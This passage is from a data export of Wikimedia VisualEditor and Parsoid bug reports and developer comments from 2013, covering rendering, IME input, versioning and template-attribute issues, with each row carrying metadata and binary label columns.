+enabled, so this might be a different issue.",,,1378331190,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,9,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+246761,about=null entries on <figure> elements (because of dom-fragment reuse),"Change 82676 merged by jenkins-bot:
+Bug 53071: Handle about-less images better
+
+https://gerrit.wikimedia.org/r/82676",,,1378326748,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+246757,about=null entries on <figure> elements (because of dom-fragment reuse),"Change 82676 had a related patch set uploaded by GWicke:
+Bug 53071: Handle about-less images better
+
+https://gerrit.wikimedia.org/r/82676",,,1378323821,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+246750,about=null entries on <figure> elements (because of dom-fragment reuse),"One more example:
+
+https://it.wikipedia.org/w/index.php?title=Dalmine&diff=61238476&oldid=61238456",,,1378225470,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1
+246741,about=null entries on <figure> elements (because of dom-fragment reuse),"One more instance now reported on itwiki:
+
+1. Diff: https://it.wikipedia.org/w/index.php?title=Trieste&diff=prev&oldid=61046913 (see 2 images duplicated further down)
+
+2. Open https://it.wikipedia.org/w/index.php?title=Trieste&oldid=61038476&veaction=edit in Chrome and dump Parsoid HTML in the console ""copy(ve.init.mw.targets[0].originalHtml)"" You will see a lot of <figure> tags with about=null",,,1377276929,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-4oj2ukzhgtypk3cunb5o,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,1
+55064,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"Create an empty document by deleting everything. Enable Input method (e.g. Ibus Chinese Cantonese). Start typing, e.g. ""jung"" (select ""中"") then ""gwok"" (select ""國""). The second character will overwrite the first, leaving just ""國"" instead of ""中國"".
+
+Observed using chromium and firefox on Ubuntu. Happens with the following ibus input methods: Chinese cantonese, Chinese Pinyin, Korean, Malayalam swanalekha, Hindi inscript. Does not seem to happen with Kannada inscript.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1376939940,1377348845.0,PHID-USER-lliyevigiycjbybglftk,False,,False,PHID-TASK-oplpiaxofrtlrt3axphq,task_description,resolved,True,c1,3,False,False,True,7,,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+246279,VisualEditor: IME input into an empty slug causes characters to overwrite one another,"
+
+*** This bug has been marked as a duplicate of bug 45240 ***",,,1377348845,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-oplpiaxofrtlrt3axphq,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+55050,VisualEditor: Expose build number,"Quite often we get bug reports for issues that have been recently fixed but not deployed to the smaller wikis.
+
+It would be very useful if we had build numbers that we could access (e.g. ve.version) in the client so we could tell quickly how out of date the deployed code is before we waste time debugging an issue someone else has already fixed.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1376930160,1380148809.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_description,resolved,True,c1,3,True,False,True,7,,0,1,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+569455,VisualEditor: Expose build number,FYI - This might be removed in {T119750},,,1448666920,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,True,,,125,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245454,VisualEditor: Expose build number,"Change 84334 merged by jenkins-bot:
+Hide version info if not available
+
+https://gerrit.wikimedia.org/r/84334",,,1379466654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245447,VisualEditor: Expose build number,"Change 84334 had a related patch set uploaded by Esanders:
+Hide version info if not available
+
+https://gerrit.wikimedia.org/r/84334",,,1379346926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245440,VisualEditor: Expose build number,"Yes, there's an issue with our deployment process which prevents it from working ATM. We're working on a fix.",,,1379107432,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+245433,VisualEditor: Expose build number,"This isn't working.  When I click on ""Beta"" to see this, it says ""Version false"", with a link to https://en.wikipedia.org/w/false (from userspace) or https://en.wikipedia.org/wiki/false (from article space).",,,1379107220,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+245427,VisualEditor: Expose build number,"Change 81877 merged by jenkins-bot:
+Expose version information in the client
+
+https://gerrit.wikimedia.org/r/81877",,,1377888800,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245419,VisualEditor: Expose build number,"Change 81877 had a related patch set uploaded by Esanders:
+Expose version information in the client
+
+https://gerrit.wikimedia.org/r/81877",,,1377817078,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-p4b2w3x4lqa7c5xyypgv,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55045,VisualEditor: Line height on beta warning message is too narrow,"Line height example
+
+See screenshot for 1.25em vs 1.5em.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial
+
+**Attached**: {F11545}",High,80.0,1376928720,1377021133.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-qsixjppbefsch6bho32b,task_description,resolved,True,c1,3,True,False,True,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245137,VisualEditor: Line height on beta warning message is too narrow,"Change 79804 merged by jenkins-bot:
+Increase line height in beta warning
+
+https://gerrit.wikimedia.org/r/79804",,,1377019844,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsixjppbefsch6bho32b,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245132,VisualEditor: Line height on beta warning message is too narrow,"Change 79804 had a related patch set uploaded by Esanders:
+Increase line height in beta warning
+
+https://gerrit.wikimedia.org/r/79804",,,1376928825,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qsixjppbefsch6bho32b,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+55012,VisualEditor: Repeated insertion of multi-byte characters,"See the third example at https://www.mediawiki.org/w/index.php?title=User:Miya/VE4&oldid=762831.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1376863380,1378958990.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-uwxs5htjvrwhn73aykjk,task_description,resolved,True,c1,3,False,False,True,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243323,VisualEditor: Repeated insertion of multi-byte characters,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958990,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uwxs5htjvrwhn73aykjk,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+243319,VisualEditor: Repeated insertion of multi-byte characters,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943150,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-uwxs5htjvrwhn73aykjk,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+243316,VisualEditor: Repeated insertion of multi-byte characters,"This might have been fixed with the changes in gerrit 79451 - David, does this fit the same pattern?",,,1376949133,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-uwxs5htjvrwhn73aykjk,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+54987,"VisualEditor: Editing toolbar CSS disappears on hover, then the buttons do nothing","I cannot take a screenshot ;)
+
+* Scroll over a the toolbar
+The button group outline, focused button box, and finger pointer flicker for a frame, then disappear.  Now the buttons to not go <click>, and I have the arrow pointer.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1376814420,1406756283.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-j5vjfdev7u6pvuctl7bs,task_description,declined,True,c1,3,True,False,False,6,,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+241653,"VisualEditor: Editing toolbar CSS disappears on hover, then the buttons do nothing","Still can't reproduce, unfortunately. :-(",,,1406756283,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j5vjfdev7u6pvuctl7bs,task_subcomment,,True,c1,3,True,,,56,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+241648,"VisualEditor: Editing toolbar CSS disappears on hover, then the buttons do nothing","My VE just died with a slightly different behavior.  Now, the highlighting and outlining is drawn correctly, and persists, also the pointer is the index finger, indicating elements are click-enabled.  However, clicking Nothing Happens.
+
+FF 23.0.1",,,1376816801,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-j5vjfdev7u6pvuctl7bs,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+241644,"VisualEditor: Editing toolbar CSS disappears on hover, then the buttons do nothing","Created attachment 13119
+screenshot, I lied
+
+**Attached**: {F11406}",,,1376814590,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-j5vjfdev7u6pvuctl7bs,task_subcomment,,True,c1,3,True,,,6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+54981,"VisualEditor: ""Some magic combination of arrow keys and actions involving the heading level toolbar"" scrambles document","screenshot
+
+I opened a wiki page, clicked ""Edit"", modified some stuff in the first paragraph involving links and a footnote reference.  Next, I demoted my outline from Page title to Heading, lowering all subheadings as well.  Said action was performed by triple-clicking each heading like, then mousing to the heading toolbar and clicking on the next level down.
+
+I believe I was on the last heading, when some magic combination of arrow keys and actions involving the heading level toolbar (I may have cursored down and hit <return> this time) caused a total HsiT scramble.  A sequence of characters of roughly equivalent length replaced the heading line I had been editing.
+
+The damage seems to have spread elsewhere in the document.  See attached screenshot.
+
+Separate but related bugs from the same editing session have been filed, jfyi to flesh out this story ;)
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical
+
+**Attached**: {F11397}",High,80.0,1376813040,1377831473.0,PHID-USER-p6hvqn5njgnxuagekh4b,False,,False,PHID-TASK-4rr6da3rjeo7zsqa7vfz,task_description,declined,True,c1,3,True,False,True,6,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+241332,"VisualEditor: ""Some magic combination of arrow keys and actions involving the heading level toolbar"" scrambles document","I *believe* that this may be related to bug 53360, which is now fixed, and so will mark as ""WORKSFORME"" (I can't make ""FIXED"" stand up given the lack of reproducible steps from these kinds of issues).
+
+Sorry for the disruption. :-(",,,1377831473,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rr6da3rjeo7zsqa7vfz,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+54913,Move info about template-affected attributes from meta tags into data-mw,"We currently use meta tags to mark up template-affected attributes:
+http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Templates_in_attributes
+
+This turned out to be problematic for several reasons:
+
+These meta tags can end up in foster-parentable positions for inputs like this:
+
+<table><tr title=""{{echo|foo}}""></tr></table>
+
+They can end up outside of an extension fragment, which makes it hard to reuse fragments. This currently blocks https://gerrit.wikimedia.org/r/#/c/65575/
+
+We have been discussing moving this information to data-mw ever since we added that as a public interface. Subbu has sketched a possible encoding in https://gist.github.com/subbuss/6092148/raw/e153a444b6e252d9eebd690e996e28cdbb859df7/gistfile1.txt
+
+We should work this out further in http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Templates_in_attributes
+and implement the resulting spec. 
+
+An issue to consider is the interaction between template content editing (http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Template_content) and templated attributes. For simple cases like echo '[[{{echo|foo}}]]' | node parse, we currently only add mw:ExpandedAttrs/Transclusion info. For echo '<div title=""{{echo|foo}}"">{{echo|</div>}}' | node parse however we add both mw:Transclusion and mw:ExpandedAttrs/Transclusion. The templated attribute can already be edited as wikitext in the mw:Transclusion interface (data-mw.parts). We might want to omit the attribute interface here in favor of the general template-affected content interface.
+
+Fragment reuse is another issue to consider. We currently don't reuse attribute expansions. These are relatively rare and cheap, so this might be ok for now. We should however choose a representation that makes it easy to add caching for these later.
+
+Currently the VisualEditor completely ignores information about template-affected attributes, so no deployment coordination will be required as long as the mw:Transclusion interface does not change.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1376628000,1386110602.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-cxh6tjsfd6x3hseyrbib,task_description,resolved,True,c1,3,True,False,False,6,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+237667,Move info about template-affected attributes from meta tags into data-mw,"This was fixed by 283bfd554bf1, so closing this bug. Please reopen if there is something we overlooked.",,,1386110602,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-cxh6tjsfd6x3hseyrbib,task_subcomment,,True,c1,3,True,,,22,,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+237662,Move info about template-affected attributes from meta tags into data-mw,Meta tags in foster-parentable positions aren't really an issue anymore.,,,1380306722,,PHID-USER-gxcjmjpejlhfnrquksm2,False,,,PHID-TASK-cxh6tjsfd6x3hseyrbib,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+54848,VisualEditor: FlaggedRevs inserts its tabs in the midst of the edit and edit source tabs,"Screenshot
+
+On wikis with FlaggedRevs, the interface historically displays buttons in the order [edit][pending changes]. This seems logical.
+
+Under the VE (screenshot attached) it goes [edit][pending changes][edit source]. This doesn't ;p. Restoring the previous setup (so that it would show as [edit][edit source][pending changes]) would be good.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11122}",High,80.0,1376490900,1391808894.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bdoqslcxagfk2qftlhdb,task_description,resolved,True,c1,3,False,False,False,6,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+233854,VisualEditor: FlaggedRevs inserts its tabs in the midst of the edit and edit source tabs,"Change 110862 merged by Catrope:
+Don't try to insert the pending changes in the middle of VE's 'Edit' and 'Edit source'
+
+https://gerrit.wikimedia.org/r/110862",,,1391808827,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdoqslcxagfk2qftlhdb,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0
+233846,VisualEditor: FlaggedRevs inserts its tabs in the midst of the edit and edit source tabs,"Change 110862 had a related patch set uploaded by Alex Monk:
+Don't try to insert the pending changes in the middle of VE's 'Edit' and 'Edit source'
+
+https://gerrit.wikimedia.org/r/110862",,,1391358454,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bdoqslcxagfk2qftlhdb,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+233839,VisualEditor: FlaggedRevs inserts its tabs in the midst of the edit and edit source tabs,"For me it shows [pending changes][edit] without VE (and the comments indicate this is the intended behaviur), so I think with VE should be [pending changes][edit][edit source].",,,1391358288,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-bdoqslcxagfk2qftlhdb,task_subcomment,,True,c1,3,True,,,30,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+54845,VisualEditor: Inspector fails to render correctly for embedded buttons,"Hasn't been an issue until now as we've only used inspectors on text, but now we have inspectors for MW extensions (e.g. Math) we need it to work in block mode as well.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1376488380,1376511662.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-4hkjv2ath5m5txk2nfy2,task_description,resolved,True,c1,3,True,False,True,6,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+233583,VisualEditor: Inspector fails to render correctly for embedded buttons,"Change 79055 merged by jenkins-bot:
+Fix rendering of inspector for embedded buttons
+
